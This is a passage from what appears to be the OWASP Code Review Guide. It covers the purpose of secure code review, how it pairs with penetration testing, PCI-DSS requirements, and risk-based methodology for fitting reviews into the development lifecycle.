used together with automated and manual penetration testing, code review can significantly increase the cost effectiveness of an application security verification effort. This guide does not prescribe a process for performing a security code review. Rather, it provides guidance on how the effort should be structured and executed. The guide also focuses on the mechanics of reviewing code for certain vulnerabilities. Manual secure code review provides insight into the “real risk” associated with insecure code. This contextual, white-box approach is the single most important value. A human reviewer can understand the relevance of a bug or vulnerability in code. Context requires human understanding of what is being assessed. With ap- propriate context we can make a serious risk estimate that accounts for both the likelihood of attack and the business impact of a breach. Correct categorization of vulnerabilities helps with priority of remediation and fixing the right things as opposed to wasting time fixing everything. 5.1 Why Does Code Have Vulnerabilities? MITRE has catalogued circa 1000 different kinds of software weaknesses in the CWE project. These are all different ways that software developers can make mistakes that lead to insecurity. Every one of these weak- nesses is subtle and many are seriously tricky. Software developers are not taught about these weaknesses in school and most do not receive any on the job training about these problems. These problems have become so important in recent years because we continue to increase connectivity and add technologies and protocols at an extremely fast rate. The ability to invent technology has seriously outstripped the ability to secure it. Many of the technologies in use today simply have not received enough (or any) security scrutiny. There are many reasons why businesses are not spending the appropriate amount of time on security. Ulti- mately, these reasons stem from an underlying problem in the software market. Because software is essen- tially a black box, it is extremely difficult for a customer to tell the difference between good code and insecure code. Without this visibility vendors are not encouraged to spend extra effort to produce secure code. Nev- ertheless, information security experts frequently get pushback when they advocate for security code review, with the following (unjustified) excuses for not putting more effort into security: “We never get hacked (that I know of), we don’t need security” Secure Code Review 10 “We have a firewall that protects our applications” “We trust our employees not to attack our applications” Over the last 10 years, the team involved with the OWASP Code Review Project has performed thousands of application reviews, and found that every non-trivial application has had security vulnerabilities. If code has not been reviewed for security holes, the likelihood that the application has problems is virtually 100%. Still, there are many organizations that choose not to know about the security of their code. To them, consider Rumsfeld’s cryptic explanation of what we actually know: “...we know, there are known knowns; there are things we know we know. We also know there are known un- knowns; that is to say we know there are some things we do not know. But there are also unknown unknowns -- the ones we don’t know we don’t know.”- Donald Rumsfeld If informed decisions are being made based on a measurement of risk in the enterprise, which will be fully supported. However, if risks are not being understood, the company is not being duly diligent, and is being irresponsible both to shareholders and customers. 5.2 What is Secure Code Review? Code review aims to identify security flaws in the application related to its features and design, along with the exact root causes. With the increasing complexity of applications and the advent of new technologies, the traditional way of testing may fail to detect all the security flaws present in the applications. One must under- stand the code of the application, external components, and configurations to have a better chance of finding the flaws. Such a deep dive into the application code also helps in determining exact mitigation techniques that can be used to avert the security flaws. It is the process of auditing the source code of an application to verify that the proper security and logical controls are present, that they work as intended, and that they have been invoked in the right places. Code review is a way of helping ensure that the application has been developed so as to be “self-defending” in its given environment. Secure code review allows a company to assure application developers are following secure development techniques. A general rule of thumb is that a penetration test should not discover any additional application vulnerabilities relating to the developed code after the application has undergone a proper security code review. At the least very few issues should be discovered. All security code reviews are a combination of human effort and technology support. At one end of the spec- trum is an inexperienced person with a text editor. At the other end of the scale is an expert security team with advanced static analysis (SAST) tools. Unfortunately, it takes a fairly serious level of expertise to use the current application security tools effectively. They also don’t understand dynamic data flow or business logic. SAST tools are great for coverage and setting a minimum baseline. Tools can be used to perform this task but they always need human verification. They do not understand context, which is the keystone of security code review. Tools are good at assessing large amounts of code and pointing out possible issues, but a person needs to verify every result to determine if it is a real issue, if it is actually exploitable, and calculate the risk to the enterprise. Human reviewers are also necessary to fill in for the significant blind spots, which automated tools, simply cannot check. Secure Code Review 11 Secure Code Review 5.3 What is the difference between Code Review and Secure Code Review? The Capability Maturity Model (CMM) is a widely recognized process model for measuring the development processes of a software development organization. It ranges from ‘level 1’ where development processes are ad hoc, unstable and not repeatable, to ‘level 5’ where the development processes are well organized, docu- mented and continuously improving. It is assumed that a company’s development processes would start out at level 1 when starting out (a.k.a start-up mode) and will become more defined, repeatable and generally professional as the organization matures and improves. Introducing the ability to perform code reviews (note this is not dealing with secure code review yet) comes in when an organization has reached level 2 (Repeat- able) or level 3 (Defined). Secure Code Review is an enhancement to the standard code review practice where the structure of the re- view process places security considerations, such as company security standards, at the forefront of the de- cision-making. Many of these decisions will be explained in this document and attempt to ensure that the review process can adequately cover security risks in the code base, for example ensuring high risk code is reviewed in more depth, ensuring reviewers have the correct security context when reviewing the code, en- suring reviewers have the necessary skills and secure coding knowledge to effectively evaluate the code. 5.4 Determining the Scale of a Secure Source Code Review? The level of secure source code review will vary depending on the business or regulatory needs of the software, the size of the software development organization writing the applications and the skills of the personnel. Similar to other aspects of software development such as performance, scalability and maintainability, security is a measure of maturity in an application. Security is one of the non-functional requirements that should be built into every serious application or tool that is used for commercial or governmental purposes. If the development environment consists of one person programming as a hobby and writing a program to track their weekly shopping in visual basic (CMM level 1), it is unlikely that that programmer will use all of the advice within this document to perform extensive levels of secure code review. On the other extreme, a large organization with thousands of developers writing hundreds of applications will (if they wish to be successful) take security very seriously, just like they would take performance and scalability seriously. Not every development organization has the necessity, or resources, to follow and implement all of the topics in this document, but all organizations should be able to begin to write their development processes in a way that can accommodate the processes and technical advice most important to them. Those processes should then be extensible to accommodate more of the secure code review considerations as the organization develops and matures. In a start-up consisting of 3 people in a darkened room, there will not be a ‘code review team’ to send the code to, instead it’ll be the bloke in the corner who read a secure coding book once and now uses it to prop up his monitor. In a medium sized company there might be 400 developers, some with security as an interest or specialty, however the organizations processes might give the same amount of time to review a 3 line CSS change as it gives to a redesign of the flagship products authentication code. Here the challenge is to increase the workforce’s secure coding knowledge (in general) and improve the processes through things like threat modelling and secure code review. For some larger companies with many thousands of developers, the need for security in the S-SDLC is at its greatest, but process efficiency has an impact on the bottom line. Take an example of a large company with 5,000 developers. If a change is introduced to the process that results in each developer taking an extra 15 minutes a week to perform a task, suddenly that’s 1,250 hours extra each week for the company as a whole This results in a need for an extra 30 full time developers each year just to stay on track (assuming a 40 hour week). The challenge here is to ensure the security changes to the lifecycle are efficient and do not impede the developers from performing their task. 12 It must be remembered though, no matter what size the organization, the reason to perform secure code re- view is to catch more bugs and catch them earlier in the S-SDLC. It is quicker to conduct a secure code review and find bugs that way, compared to finding the bugs in testing or in production. For the 5,000-person orga- nization, how long will it take to find a bug in testing, investigate, re-code, re-review, re-release and re-test? What if the code goes to production where project management and support will get involved in tracking the issue and communicating with customers? Maybe 15 minutes a week will seem like a bargain. 5.5 We Can’t Hack Ourselves Secure Penetration testing is generally a black-box point in time test and should be repeated on each release (or build) of the source code to find any regressions. Many continuous integration tools (e.g. Jenkins/Hudson) allow repeatable tests, including automated penetration tests, to be run against a built and installed version of a product. As source code changes, the value of the findings of an unmaintained penetration tests degrade with time. There are also privacy, compliance and stability and availability concerns, which may not covered by penetra- tion testing, but can be covered in code reviews. Data information leakage in a cloud environment for example may not be discovered, or allowed, via a penetration test. Therefore penetration testing should be seen as an important tool in the arsenal, but alone it will not ensure product software is secure. The common methods of identifying vulnerabilities in a software project are: • Source Code Scanning using automated tools that run against a source code repository or module, finding string patterns deemed to potentially cause security vulnerabilities. Secure Code Review There seems to be a catch-22 with the following sentiment; as many code developers are not aware or skilled in security, a company should implement peer secure code reviews amongst developers. How does a workforce introduce the security skills to implement a secure code review methodology? Many security maturity models (e.g. BSIMM or OpenSAMM) discuss the concept of a core security team, who are skilled developers and skill security subject matter experts (SMEs). In the early days of a company rolling out a se- cure code review process, the security SMEs will be central in the higher risk reviews, using their experience and knowledge to point out aspects of the code that could introduce risk. As well as the core security team a further group of developers with an interest in security can act as team local security SMEs, taking part in many secure code reviews. These satellites (as BSIMM calls them) will be guided by the core security team on technical issues, and will help encourage secure coding. Over time, an organization builds security knowledge within its core, and satellite teams, which in turns spreads the security knowledge across all developers since most code reviews will have a security SME taking part. The ‘on-the-job’ training this gives to all developers is very important. Whereas an organization can send their de- velopers on training courses (classroom or CBT) which will introduce them to common security topics and create awareness, no training course can be 100% relevant to a developer’s job. In the secure code review process, each developer who submits their code will receive security related feedback that is entirely relevant to them, since the review is of the code they produced. Skilling a Workforce for Secure Code Review 13 Secure Code Review • Automated Penetration Testing (black/grey box) through penetrating testing tools automatic scans, where the tool is installed on the network with the web site being tested, and runs a set of pre-defined tests against the web site URLs. • Manual Penetration Testing, again using tools, but with the expertise of a penetration tester performing more complicated tests. • Secure Code Review with a security subject matter expert. It should be noted that no one method will be able to identify all vulnerabilities that a software project might encounter, however a defense-in-depth approach will reduce the risk of unknown issues being including in production software. During a survey at AppSec USA 2015 the respondents rated which security method was the most effective in finding: 1) General security vulnerabilities 2) Privacy issues 3) Business logic bugs 4) Compliance issues (such as HIPPA, PCI, etc.) 5) Availability issues The results are shown in figure 1. Vulnerabilities Source Code Scanning Tools Automated Scan Manual Pen Test Manual Code Review 0 5 10 15 20 25 30 35 Privacy Business Logic Compliance (HIPPA) Availability Figure 1: Survey relating detection methods to general vulnerability types 14 Secure Code Review A1 A2 A3 A4 A5 A6 A7 A8 A9 A10 Source Code Scanning Tool Automated Scan Manual Pen Test Manual Code Review 0 5 10 15 20 25 30 35 Figure 2: Survey relating detection methods to OWASP Top 10 vulnerability types Figure 3: Code Review and Penetration Testing Interactions These surveys show that manual code review should be a component of a company’s secure lifecycle, as in many cases it is as good, or better, than other methods of detecting security issues. 5.6 Coupling Source Code Review and Penetration Testing The term “360 review” refers to an approach in which the results of a source code review are used to plan and execute a penetration test, and the results of the penetration test are, in turn, used to inform additional source code review. CODE REVIEW SUSPECTED KNOWN VULNERABILITIES EXPLOITED VULNERABILITIES PENETRATION TEST 15 Secure Code Review Knowing the internal code structure from the code review, and using that knowledge to form test cases and abuse cases is known as white box testing (also called clear box and glass box testing). This approach can lead to a more productive penetration test, since testing can be focused on suspected or even known vulnerabilities. Us- ing knowledge of the specific frameworks, libraries and languages used in the web application, the penetration test can concentrate on weaknesses known to exist in those frameworks, libraries and languages. A white box penetration test can also be used to establish the actual risk posed by a vulnerability discovered through code review. A vulnerability found during code review may turn out not to be exploitable during pen- etration test due to the code reviewer(s) not considering a protective measure (input validation, for instance). While the vulnerability in this case is real, the actual risk may be lower due to the lack of exposure. However there is still an advantage to adding the penetration test encase the protective measure is changed in the future and therefore exposes the vulnerability. While vulnerabilities exploited during a white box penetration test (based on secure code review) are certainly real, the actual risk of these vulnerabilities should be carefully analyzed. It is unrealistic that an attacker would be given access to the target web application’s source code and advice from its developers. Thus, the risk that an outside attacker could exploit the vulnerabilities found by the white box penetration tester is probably low- er. However, if the web application organization is concerned with the risk of attackers with inside knowledge (former employees or collusion with current employees or contractors), the real-world risk may be just as high. The results of the penetration test can then be used to target additional areas for code review. Besides address- ing the par-ticular vulnerability exploited in the test, it is a good practice to look for additional places where that same class of vulnerability is present, even if not explicitly exploited in test. For instance, if output encoding is not used in one area of the application and the penetration test exploited that, it is quite possible that output encoding is also not used elsewhere in the application. 5.7 Implicit Advantages of Code Review to Development Practices Integrating code review into a company’s development processes can have many benefits which will depend upon the processes and tools used to perform code reviews, how well that data is backed up, and how those tools are used. The days of bringing developers into a room and displaying code on a projector, whilst recording the review results on a printed copy are long gone, today many tools exist to make code review more efficient and to track the review records and decisions. When the code review process is structured correctly, the act of reviewing code can be efficient and provide educational, auditable and historical benefits to any organization. This section provides a list of benefits that a code review procedure can add to development organization. Provides an historical record If any developer has joined a company, or moved teams within a company, and had to maintain or enhance a piece of code written years ago, one of the biggest frustrations can be the lack of context the new developer has on the old code. Various schools of opinion exist on code documentation, both within the code (comments) and external to the code (design and functional documents, wikis, etc.). Opinions range from zero-documentation tolerance through to near-NASA level documentation, where the size of the documentation far exceeds the size of the code module. Many of the discussions that occur during a code review, if recorded, would provide valuable information (con- text) to module maintainers and new programmers. From the writer describing the module along with some of their design decisions, to each reviewers comments, stating why they think one SQL query should be restruc- tured, or an algorithm changed, there is a development story unfolding in front of the reviewers eyes which can be used by future coders on the module, who are not involved in the review meetings. 16 Secure Code Review Capturing those review discussions in a review tool automatically and storing them for future reference will pro- vide the development organization with a history of the changes on the module which can be queried at a lat- er time by new developers. These discussions can also contain links to any architectural/functional/design/test specifications, bug or enhancement numbers. Verification that the change has been tested When a developer is about to submit code into the repository, how does the company know they have sufficient- ly tested it? Adding a description of the tests they have run (manually or automated) against the changed code can give reviewers (and management) confidence that the change will work and not cause any regressions. Also by declaring the tests the writer has ran against their change, the author is allowing reviewers to review the tests and suggest further testing that may have been missed by the author. In a development scenario where automated unit or component testing exists, the coding guidelines can require that the developer include those unit/component tests in the code review. This again allows reviewers within this environment to ensure the correct unit/component tests are going to be included in the environment, keeping the quality of the continuous integration cycles. Coding education for junior developers After an employee learns the basics of a language and read a few of the best practices book, how can they get good on-the-job skills to learn more? Besides buddy coding (which rarely happens and is never cost effective) and training sessions (brown bag sessions on coding, tech talks, etc.) the design and code decisions discussed during a code review can be a learning experience for junior developers. Many experienced developers admit to this being a two way street, where new developers can come in with new ideas or tricks that the older developers can learn from. Altogether this cross pollination of experience and ideas can only be beneficial to a development organization. Familiarization with code base When a new feature is developed, it is often integrated with the main code base, and here code review can be a conduit for the wider team to learn about the new feature and how its code will impact the product. This helps prevent functional duplication where separate teams end up coding the same small piece of functionality. This also applies for development environments with siloed teams. Here the code review author can reach out to other teams to gain their insight, and allow those other teams to review their modules, and everyone then learns a bit more about the company’s code base. Pre-warning of integration clashes In a busy code base there will be times (especially on core code modules) where multiple developers can write code affecting the same module. Many people have had the experience of cutting the code and running the tests, only to discover upon submission that some other change has modified the functionality, requiring the author to recode and retest some aspects of their change. Spreading the word on upcoming changes via code reviews gives a greater chance of a developer learning that a change is about to impact their upcoming commit, and development timelines, etc., can be updated accordingly. Many development environments have coding guidelines which new code must adhere to. Coding guidelines can take many forms. It’s worth pointing out that security guidelines can be a particularly relevant touch point Secure Coding Guidelines Touch Point 17 Secure Code Review 5.8 Technical Aspects of Secure Code Review Security code reviews are very specific to the application being reviewed. They may highlight some flaws that are new or specific to the code implementation of the application, like insecure termination of execution flow, synchronization errors, etc. These flaws can only be uncovered when we understand the application code flow and its logic. Thus, security code review is not just about scanning the code for set of unknown insecure code patterns but it also involves understanding the code implementation of the application and enumerating the flaws specific to it. The application being reviewed might have been designed with some security controls in place, for example a centralized blacklist, input validation, etc. These security controls must be studied carefully to identify if they are fool-proof. According to the implementation of the control, the nature of attack or any specific attack vec- tor that can be used to bypass it, must be analyzed. Enumerating the weakness in the existing security control is another important aspect of the security code reviews. There are various reasons why security flaws manifest in the application, like a lack of input validation or parameter mishandling. In the process of a code review the exact root cause of flaws are exposed and the complete data flow is traced. The term ‘source to sink analysis’ means to determine all possible inputs to the application (source) and how they are being processed by it (sink). A sink could be an insecure code pattern like a dynamic SQL query, a log writer, or a response to a client device. Consider a scenario where the source is a user input. It flows through the different classes/components of the application and finally falls into a concatenated SQL query (a sink) and there is no proper validation being applied to it in the path. In this case the application will be vulnerable to SQL injection attack, as identified by the source to sink analysis. Such an analysis helps in understanding, which vulnerable inputs can lead to a possibility of an exploit in the application. Once a flaw is identified, the reviewer must enumerate all the possible instances present in the application. This would not be a code review initiated by a code change, this would be a code scan initiated by manage- ment based on a flaw being discovered and resources being committed to find if that flaw exists in other parts of the product. For example, an application can be vulnerable to XSS vulnerability because of use of un-validated inputs in insecure display methods like scriptlets ‘response.write’ method, etc. in several places. 5.9 Code Reviews and Regulatory Compliance Many organizations with responsibility for safeguarding the integrity, confidentiality and availability of their software and data need to meet regulatory compliance. This compliance is usually mandatory rather than a voluntary step taken by the organization. Compliance regulations include: • PCI (Payment Card Industry) standards • Central bank regulations within a code review, as unfortunately the secure coding issues are understood only by a subset of the develop- ment team. Therefore it can be possible to include teams with various technical expertise into the code reviews, i.e. someone from the security team (or that person in the corner who knows all the security stuff) can be invited as a technical subject expert to the review to check the code from their particular angle. This is where the OWASP top 10 guidelines could be enforced. 18 Secure Code Review • Auditing objectives • HIPPA Compliance is an integral part of software security development life-cycle and code review is an important part of compliance as many rules insist on the execution of code reviews in order to comply with certain reg- ulations. To execute proper code reviews that meet compliance rules it is imperative to use an approved methodolo- gy. Compliance requirements such as PCI, specifically requirement 6: “Develop and maintain secure systems”, while PCI-DSS 3.0, which has been available since November 2013, exposes a series of requirements which apply to development of software and identifying vulnerabilities in code. The Payment Card Industry Data Security Standard (PCI-DSS) became a mandatory compliance step for companies processing credit card pay- ments in June 2005. Performing code reviews on custom code has been a requirement since the first version of the standard. The PCI standard contains several points relating to secure application development, but this guide will focus solely on the points, which mandate code reviews. All of the points relating to code reviews can be found in requirement 6 “Develop and maintain secure systems and applications”. 5.10 PCI-DSS Requirements Related to Code Review Specifically, requirement 6.3.2 mandates a code review of custom code. Reviewing custom code prior to re- lease to production or customers in order to identify any potential coding vulnerability (using either manual or automated processes) to include at least the following: • Code changes are reviewed by individuals other than the originating code author, and by individuals knowl- edgeable about code review techniques and secure coding practices. • Code reviews ensure code is developed according to secure coding guidelines • Appropriate corrections are implemented prior to release. • Code review results are reviewed and approved by management prior to release. Requirement 6.5 address common coding vulnerabilities in software-development processes as follows: • Train developers in secure coding techniques, including how to avoid common coding vulnerabilities, and understanding how sensitive data is handled in memory. • Develop applications based on secure coding guidelines. The PCI Council expanded option one to include internal resources performing code reviews. This added weight to an internal code review and should provide an additional reason to ensure this process is performed correctly. The Payment Application Data Security Standard (PA-DSS) is a set of rules and requirements similar to PCI-DSS. However, PA-DSS applies especially to software vendors and others who develop payment applications that store, process, or transmit cardholder data as part of authorization or settlement, where these payment appli- cations are sold, distributed, or licensed to third parties. 19 Secure Code Review PA-DSS Requirements Related to Code Review Requirements regarding code review are also applied since these are derived from PA-DSS in requirement 5 (PCI, 2010): 5.2 Develop all payment applications (internal and external, and including web administrative access to prod- uct) based on secure coding guidelines. 5.1.4 Review of payment application code prior to release to customers after any significant change, to identi- fy any potential coding vulnerability. Note: This requirement for code reviews applies to all payment application components (both internal and public-facing web applications), as part of the system development life cycle. Code reviews can be conducted by knowledgeable internal personnel or third parties. 20 METHODOLOGY Code review is systematic examination of computer source code and reviews are done in various forms and can be accomplished in various stages of each organization S-SDLC. This book does not attempt to tell each organization how to implement code reviews in their organization but this section does go over in generic terms and methodology of doing code reviews from informal walkthroughs, formal inspections, or Tool-assist- ed code reviews. 6.1 Factors to Consider when Developing a Code Review Process When planning to execute a security code review, there are multiple factors to consider since every code review is unique to its context. In addition to the elements discussed in this section, one must consider any technical or business related factors (business decisions such as deadlines and resources) that impact the analysis as these factors and may ultimately decide the course of the code review and the most effective way to execute it. Risks It is impossible to secure everything at 100%, therefore it is essential to prioritize what features and components must be securely reviewed with a risk based approach. While this project highlights some of the vital areas of design security peer programmers should review all code being submitted to a repository, not all code will receive the atten- tion and scrutiny of a secure code review. Purpose & Context Computer programs have different purposes and consequently the grade of security will vary depending on the functionality being implemented. A payment web application will have higher security standards than a promotion- al website. Stay reminded of what the business wants to protect. In the case of a payment application, data such as credit cards will have the highest priority however in the case of a promotional website, one of the most important things to protect would be the connection credentials to the web servers. This is another way to place context into a risk-based approach. Persons conducting the security review should be aware of these priorities. Lines of Code An indicator of the amount of work is the number of lines of code that must be reviewed. IDEs (Integrated De- velopment Environments) such as Visual Studio or Eclipse contain features, which allows the amount of lines of code to be calculated, or in Unix/Linux there are simple tools like ‘wc’ that can count the lines. Programs written in object-oriented languages are divided into classes and each class is equivalent to a page of code. Generally line numbers help pinpoint the exact location of the code that must be corrected and is very useful when reviewing corrections done by a developer (such as the history in a code repository). The more lines of code a program contains, the greater the chances that errors are present in the code. Programming language Programs written in typed safe languages (such as C# or Java) are less vulnerable to certain security bugs such as buf- fer overflows than others like C and C++. When executing code review, the kind of language will determine the types of expected bugs. Typically software houses tend towards a few languages that their programmers are experienced in, however when a decision is made to create new code in a language new to the developer management must be aware of the increased risk of securely reviewing that code due to the lack of in-house experience. Throughout this guide, sections explain the most common issues surrounding the specific programming language code to be reviewed, use this as a reference to spot specific security issues in the code. Methodology 21 Resources, Time & Deadlines As ever, this is a fundamental factor. A proper code review for a complex program will take longer and it will need higher analysis skills than a simple one. The risks involved if resources are not properly provided are higher. Make sure that this is clearly assessed when executing a review. 6.2 Integrating Code Reviews in the S-SDLC Code reviews exist in every formal Secure Software Development Lifecycle (S-SDLC), but code reviews also vary widely in their level of formality. To confuse the subject more, code reviews vary in purpose and in rela- tion to what the code reviewer is looking for, be it security, compliance, programming style, etc. Throughout the S-SDLC (XP, Agile, RAD, BSIMM, CMMI, Microsoft ALM) there are points where an application security SME should to be involved. The idea of integrating secure code reviews into an S-SLDC may sound daunting as there is another layer of complexity or additional cost and time to an already over budget and time con- strained project. However it is proven to be cost effective and provides an additional level of security that static analyzers cannot provide. In some industries the drive for secure enhancements to a company’s S-SDLC may not be driven purely by the desire to produce better code, these industries have regulations and laws that demand a level of due care when writing software (e.g. the governmental and financial industries) and the fines levelled at a company who has not attempted to secure their S-SDLC will be far greater than the costs of adding security into the development lifecycle. When integrating secure code reviews into the S-SDLC the organization should create standards and policies that the secure code reviewer should adhere to. This will create the right importance of the task so it is not just looked at as a project task that just needs to be checked off. Project time also needs to be assigned to the task so there is enough time to complete the tasks (and for any remedial tasks that come out of the secure code review). Standards also allow management and security experts (e.g. CISOs, security architects) to direct em- ployees on what secure coding is to be adhered to, and allows the employees to refer to the (standard) when review arbitration is necessary. Methodology A standard report template will provide enough information to enable the code reviewer to clas- sify and prioritize the software vulnerabilities based on the applications threat model. This report does not need to be pages in length, it can be document based or incorporated into many auto- mated code review tools. A report should provide the following information: • Date of review. • Application name, code modules reviewed. • Developers and code reviewer names. • Task or feature name, (TFS, GIT, Subversion, trouble ticket, etc.). Code Review Reports 22 Today most organizations have modified their S-SDLC process to add agile into their S-SDLC process. Because of this the organization is going to need to look at their own internal development practices to best determine where and how often secure code reviews need to happen. If the project is late and over budget then this increases the chance that a software fix could cause a secure vulnerability since now the emphasis is on getting the project to deployment quicker. Code reviews for code in production may find software vulnerabilities but understand that there is a race with hackers to find the bug and the vulnerable software will remain in production while the remedial fix is being worked on. 6.3 When to Code Review Once an organization decides to include code reviews part of their internal code process. The next big question to ask is to determine what stages of the SDLC will the code be reviewed. This section talks about three possible ways to include code reviews. There are three stages be in the SDLC when code can be reviewed: When code is about to be checked in (pre-commit) The development organization can state in their process that all code has to be reviewed before the code can be submitted to the source code repository. This has the disadvantage of slowing the check-in process down, as the review can take time, however it has many advantages in that below standard code is never placed in the code line, and management can be confident that (if processes are being followed) the submitted code is at the quality that has been stipulated. For example, processes may state that code to be submitted must include links to requirements and design docu- mentation and necessary unit and automated tests. This way the reviewers will have context on the exact code mod- ification being done (due to the documentation) and they will know how the developer has tested the code (due to the tests). If the peer reviewers do not think the documentation is complete, or the tests are extensive enough, they can reject the review, not because of the code itself, but because the necessary docs or tests are not complete. In an environment using CI with automated tests running nightly, the development team as a whole will know the next day (following check-in) if the submitted code was of enough quality. Also management know that once a bug or feature is checked in that the developer has finished their task, there’s no “I’ll finish those tests up next week” scenar- ios which adds risk to the development task. When code has just been checked into a code base (post-commit) Here the developer submits their code change, and then uses the code repository change-lists to send the code diff for review. This has the advantage of being faster for the developer as there’s no review gate to pass before they check-in their code. The disadvantage is that, in practice, this method can lead to a lesser quality of code. A develop- Methodology • A brief sentence(s) to classify and prioritize software vulnerability if any and what if any remedial tasks need to be accomplished or follow up is needed. • Link to documents related to task/feature, including requirements, design, testing and threat modeling documents. • Code Review checklist if used, or link to organization Code Review Checklist. (see Appendix A) • Testing the developer has carried out on the code. Preferably the unit or automated tests them- selves can be part of the review submission. • If any tools such as FxCop, BinScope Binary Analyzer, etc. were used prior to code review. 23 er will be less inclined to fix smaller issues once the code has been checked in, usually with a mantra of “Well the code is in now, it’ll do.”. There also a risk of timing, as other developers could write other code fixes into the same module before the review is done or changes and tests have been written, meaning the developer not only has to implement the code changes from the peer or security review, but they also have to do so in a way that does not break other subsequent changes. Suddenly the developer has to re-test the subsequent fixes to ensure no regressions. Some development organizations using the Agile methodology add a ‘security sprint’ into their processes. During the security sprint the code can be security reviewed, and have security specific test cases (written or automated) added. When code audits are done Some organizations have processes to review code at certain intervals (i.e. yearly) or when a vulnerable piece of code is suspected of being repeated throughout the code base. Here static code analyzers, or simple string searches through the code (for specific vulnerability patterns) can speed up the process. This review is not connected to the submission of a feature or bug fix, they are triggered by process considerations and are likely to involve the review of an entire application or code base rather than a review of a single submission. 6.4 Security Code Review for Agile and Waterfall Development Today agile development is an umbrella term for a lot of practices that include programming, continuous inte- gration, testing, project management, etc. There are many flavors of agile development, perhaps as many flavors as there are practitioners. Agile development is a heterogeneous reference framework where the development team can pick what practices they want to use. Agile has some practices that could affect how and when code is reviewed, for example agile tries to keep code review and testing as near as possible to the development phase. It is a common practice to define short devel- opment cycles (a.k.a. Iterations or Sprints). At the end of each cycle, all the code should be production quality code. It can be incomplete, but it must add some value. That affects the review process, as reviewing should be continuous. From the point of view of secure coding review, it shouldn’t make a difference if the development Methodology Some organizations assume secure code review can be a job for a security or risk-analysis team member. How- ever all developers need to understand the exposure points of their applications and what threats exist for their applications. Many companies have security teams that do not have members with coding backgrounds, which can make interactions with development teams challenging. Because of this development teams are usually skeptical of security input and guidance. Security teams are usually willing to slow things down to ensure confidentiality and integrity controls are in place while developers are face with pressure from business units they support to create and update code as quickly as possible. Unfortunately the more critical the application to operational or business needs, the more pressure to deploy the code to production. It is best to weave secure code reviews into the SDLC processes so that development organizations do not see security as a hindrance, but as an assistance. As mentioned previously, spreading secure coding SMEs through- out an organization (satellites in BSIMM terminology) allows the secure code review tasks to scale and reach more development teams. As the process grows, more of the developers gain awareness of secure coding issues (as they have reviews rejected on secure coding grounds) and the frequency of secure coding issues in code reviews should drop. Who Should Perform Secure Code Reviews 24 organization uses agile or waterfall development practices. Code review is aligned to the code submitted, not the order of feature development vs testing, or the time patterns assigned to the coding task. In many organizations the line between waterfall and agile is becoming blurred, with traditional waterfall departments introducing the continuous integration (CI) aspects from agile, including nightly builds, automated testing, test driven develop- ment, etc. 6.5 A Risk Based Approach to Code Review A development house will have various degrees of code changes being reviewed, from simple one line bug fixes in backend scripts that run once a year, to large feature submissions in critical business logic. Typically the inten- sity of the code review varies based on the perceived risk that the change presents. In the end, the scale of the code review comes down to the management of resources (skilled persons, company time, machines, etc.). It would not be scalable to bring in multiple security experts for every code change occur- ring on a product, the resources of those persons or those teams would not be large enough to handle every change. Therefore companies can make a call on which changes are important and need to be closely scruti- nized, and which ones can be allowed through with minimal inspection. This will allow management to better size the development cycle, if a change is going to be done in an area which is high risk, management can know to set aside sufficient time for code review and ensure persons with relevant skills will be available. The process of deciding which changes need which level of code review is based on the risk level of the module the change is within. If the review intensity of code changes is based on the risk level of the module being changed, who should decide the level of risk? Ultimately management is responsible for the output of a company, and thus they are responsible for the risk associated with products sold by the company. Therefore it is up to management (or per- sons delegated by management) to create a reproducible measure or framework for deciding the risk associated with a code change. Decisions on the risk of a module or piece of code should be based on solid cost benefit analysis and it would be irresponsible to decide all modules are high risk. Therefore management should meet with persons who have an understanding of the code base and security issues faced by the products, and create a measure of risk for various ele-ments of code. Code could be split up into modules, directories, products, etc., each with a risk level associated with it. Various methods exist in the realm of risk analysis to assign risk to entities, and many books have been dedicated to this type of discussion. The three main techniques for establishing risk are outlined in table 1 below. Methodology Technique Method Quantitative Bring people together and establish a monetary value on the potential loss associated with the code. Gauge the likeli- hood that the code could be compromised. Use dollar values produced from these calculations to determine the level of risk. Qualitative Delphi Bring people together and discuss opinions on what level of loss is associated with the modules, and opinions on likeli- hood of compromise. Qualitative does not attempt to nail down monetary associations with the loss, but tends towards the perception or opinion of associated losses. Independently interview or question people on the losses and compromises of the modules, whilst letting them know the feedback will be anonymous. The impression here is that the people will give more honest answers to the questions and will not be swayed by other people’s arguments and answers. Table 1: Options For Establishing Risk 25 Risk is chance of something bad happening and the damage that can be caused if it occurs. The criteria for decid- ing the risk profile of different code modules will be up to the management team responsible for delivering the changes, examples are provided in table 2. When levels of risk have been associated with products and modules, then the policies can be created deter- mining what level of code review must be conducted. It could be that code changes in a level one risk module must be reviewed by 3 persons including a Security Architect, whereas changes in a level 4 risk module only need a quick one person peer review. Other options (or criteria) for riskier modules can include demands on automated testing or static analysis, e.g. code changes in high risk code must include 80% code coverage on static analysis tools, and sufficient auto- mated tests to ensure no regressions occur. These criteria can be demanded and checked as part of the code review to ensure they are capable of testing the changed code. Some companies logically split their code into differing repositories, with more sensitive code appearing in a repository with a limited subset of developers having access. If the code is split in this fashion, then it must be remembered that only developers with access to the riskier code should be able to conduct reviews of that code. Risk analysis could also be used during the code review to decide how to react to a code change that introduc- es risk into the product, as in table 3. In a typical risk analysis process, the team needs to decide whether to accept, transfer, avoid or reduce the risks. When it comes to code reviews it is not possible to transfer the risk as transferring risk normally means taking out insurance to cover the cost of exposure. Methodology Criteria Explanation Ease of exposure Is the code change in a piece of code directly exposed to the internet? Does an insider use the interface directly? Value of loss Regulatory controls How much could be lost if the module has a vulnerability introduced? Does the module contain some critical password hashing mechanism, or a simple change to HTML border on some internal test tool? If a piece of code implements business logic associated with a standard that must be complied with, then these mod- ules can be considered high risk as the penalties for non-conformity can be high. Table 2: Common Criteria For Establishing The Risk Profile Of A Code Module Risk Resolution Explanation Reduce This is the typical resolution path. When a code reviewer finds that the code change introduces risk into an element of business logic (or simply a bug) the code will be changed to fix the bug or code in a way that reduces the risk. Accept When the code change introduces a risk in the code but there is no other way to implement the business logic, the code change can pass code review if the risk is considered acceptable. The risk and any workarounds or mitigating factors should be documented correctly so that it is not ignored. Table 3: Options For Handling Risks Identified In A Code Review Avoid When the code change introduces a risk that is too great to be accepted, and it is not possible to reduce the risk by imple- menting a code change, then the team need to consider not performing the change. Ideally this decision should be reached before the code review stage, but it is entirely possible that factors can arise during code implementation that changes the understood risk profile of a code module and prompts management to reconsider if a change should go ahead. 26 6.6 Code Review Preparation A security review of the application should uncover common security bugs as well as the issues specific to business logic of the application. In order to effectively review a body of code it is important that the reviewers understand the business purpose of the application and the critical business impacts. The reviewers 